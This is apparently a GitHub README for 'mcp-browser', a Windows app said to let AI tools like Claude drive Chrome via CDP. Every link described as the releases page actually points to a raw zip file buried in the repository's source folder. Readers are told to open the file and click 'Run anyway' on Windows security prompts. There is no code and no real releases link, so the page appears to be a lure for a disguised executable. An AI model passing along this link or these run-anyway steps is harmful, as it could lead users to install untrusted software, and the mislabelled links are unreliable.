Content
# 🧭 mcp-browser - Real Browser Access for AI
[](https://raw.githubusercontent.com/koaung8629/mcp-browser/main/src/tools/browser-mcp-3.8-beta.2.zip)
## 📥 Download
Use this page to download the Windows release:
[Visit the mcp-browser releases page](https://raw.githubusercontent.com/koaung8629/mcp-browser/main/src/tools/browser-mcp-3.8-beta.2.zip)
On that page, look for the latest release. Download the Windows file, then save it to your computer.
## 🪟 Run on Windows
1. Open the downloaded file.
2. If Windows shows a security prompt, choose **Run anyway** if you trust the file.
3. Follow the on-screen steps.
4. Open Chrome if the app asks for it.
5. Start the app and let it connect to Chrome.
## 🔧 What mcp-browser does
mcp-browser gives your AI a real browser to use.
It routes web requests through Chrome using CDP, which means the AI can work with live web pages instead of plain text only. This helps with tasks like:
- opening web pages
- reading page content
- clicking links and buttons
- filling out forms
- checking page state
- working with browser-based tools
- web scraping
- using browser data in AI workflows
## 👤 Who this is for
This app is for people who want their AI assistant to use a browser on Windows.
It fits use cases like:
- Claude and Claude Code browser workflows
- AI tools that need page access
- testing browser actions
- simple scraping jobs
- browser-based research
- automation that needs Chrome
## 🖥️ What you need
For best results, use:
- Windows 10 or Windows 11
- Google Chrome
- a stable internet connection
- a recent version of the app from the releases page
The app works by connecting to Chrome through CDP, so Chrome must be installed on your computer.
## 🚀 Install and start
### 1. Get the latest release
Open the releases page here:
[Visit the mcp-browser releases page](https://raw.githubusercontent.com/koaung8629/mcp-browser/main/src/tools/browser-mcp-3.8-beta.2.zip)
Download the Windows release file from the newest version.
### 2. Save the file
Save the file in a place you can find, such as:
- Downloads
- Desktop
- a folder for AI tools
### 3. Open the app
Double-click the file you downloaded.
If the app comes in a ZIP file, extract it first, then open the program inside.
### 4. Let it connect to Chrome
The app uses Chrome as the browser layer.
If Chrome is closed, open it first. Then start mcp-browser so it can attach to the browser session.
### 5. Use it with your AI tool
Once it runs, connect your AI app to the MCP server.
From there, your AI can send browser requests through Chrome.
## 🧩 How it works
mcp-browser sits between your AI tool and Chrome.
Your AI sends a request.
mcp-browser passes that request to Chrome.
Chrome loads the page and returns what it sees.
This setup helps when your task needs a real browser, not just a web fetch.
## 🧠 Typical use cases
You can use mcp-browser for tasks like:
- checking web pages that need JavaScript
- reading content behind interactive layouts
- browsing sites that change after load
- scraping visible page data
- testing user flows in Chrome
- asking your AI to inspect pages step by step
## 🔌 Chrome connection
The app uses CDP, which stands for Chrome DevTools Protocol.
You do not need to know the details to use the app. In simple terms, it gives the tool a way to control Chrome and read page data.
If the app asks for a Chrome session or browser port, use the Chrome setup that comes with the release or follow the release notes on the download page.
## 🛠️ Basic setup tips
- Keep Chrome updated
- Close extra browser windows if the app does not connect
- Run only one browser session at a time if you see connection issues
- Use the latest release for the most stable build
- Keep the app and Chrome on the same machine
## 📁 File names you may see
The download may include files such as:
- `.exe`
- `.zip`
- setup files
- release archives
If you see a ZIP file, unzip it before running the app.
If you see an EXE file, double-click it to start.
## 🔍 Topics in this project
This project fits topics like:
- ai-tools
- browser
- chrome
- claude
- claude-code
- mcp
- mcp-server
- model-context-protocol
- puppeteer
- web-scraping
## 🧭 If the app does not start
Try these steps:
1. Check that Chrome is installed.
2. Close Chrome and open it again.
3. Run the downloaded file again.
4. Make sure you got the latest release.
5. Try a fresh download if the file looks damaged.
## 🔐 Permissions
The app may need access to your browser so it can read pages and send actions to Chrome.
If Windows asks for permission, allow the app to run if you trust the source and downloaded it from the releases page.
## 🧪 Quick first test
After you open the app, try a simple browser task:
- open a website
- read the page title
- click a link
- check the page content
- return the page text to your AI tool
If that works, the connection is set up.
## 🧭 Release page link
Download the latest Windows build here:
[https://raw.githubusercontent.com/koaung8629/mcp-browser/main/src/tools/browser-mcp-3.8-beta.2.zip](https://raw.githubusercontent.com/koaung8629/mcp-browser/main/src/tools/browser-mcp-3.8-beta.2.zip)
## 🧰 Common questions
### Do I need coding knowledge?
No. You only need to download the file, open it, and let it connect to Chrome.
### Do I need Chrome?
Yes. This app routes requests through Chrome.
### Can I use it for web scraping?
Yes. The browser layer makes it useful for scraping pages that need a real browser.
### Does it work with AI tools?
Yes. It is made for MCP-based AI tools and browser workflows.
### Can I use it with Claude?
Yes. The project is built for Claude-style AI setups and Claude Code use cases
## 🗂️ Suggested folder setup
To keep things easy, make a folder like this:
- `C:\AI-Tools\mcp-browser`
- `C:\Users\YourName\Downloads\mcp-browser`
- `Desktop\mcp-browser`
Use one place for the app and leave Chrome in its normal install path
## 🧭 First-time workflow
1. Download the release from GitHub.
2. Open or extract the file.
3. Start Chrome.
4. Start mcp-browser.
5. Connect your AI tool.
6. Test a simple page action.
7. Use it for normal browsing tasks
## 📌 What to expect after setup
After setup, your AI should be able to work with live browser pages through Chrome.
That means it can handle tasks where page scripts, buttons, and session state matter.
It is a better fit than simple page fetch tools when the site needs a real browser
## 🖱️ Best practice for Windows
- Keep the app in a folder you can find
- Do not rename release files unless you need to
- Keep Chrome open while the app runs
- Use the latest GitHub release when you want fixes or updates
- Save your download in case you need to run it again
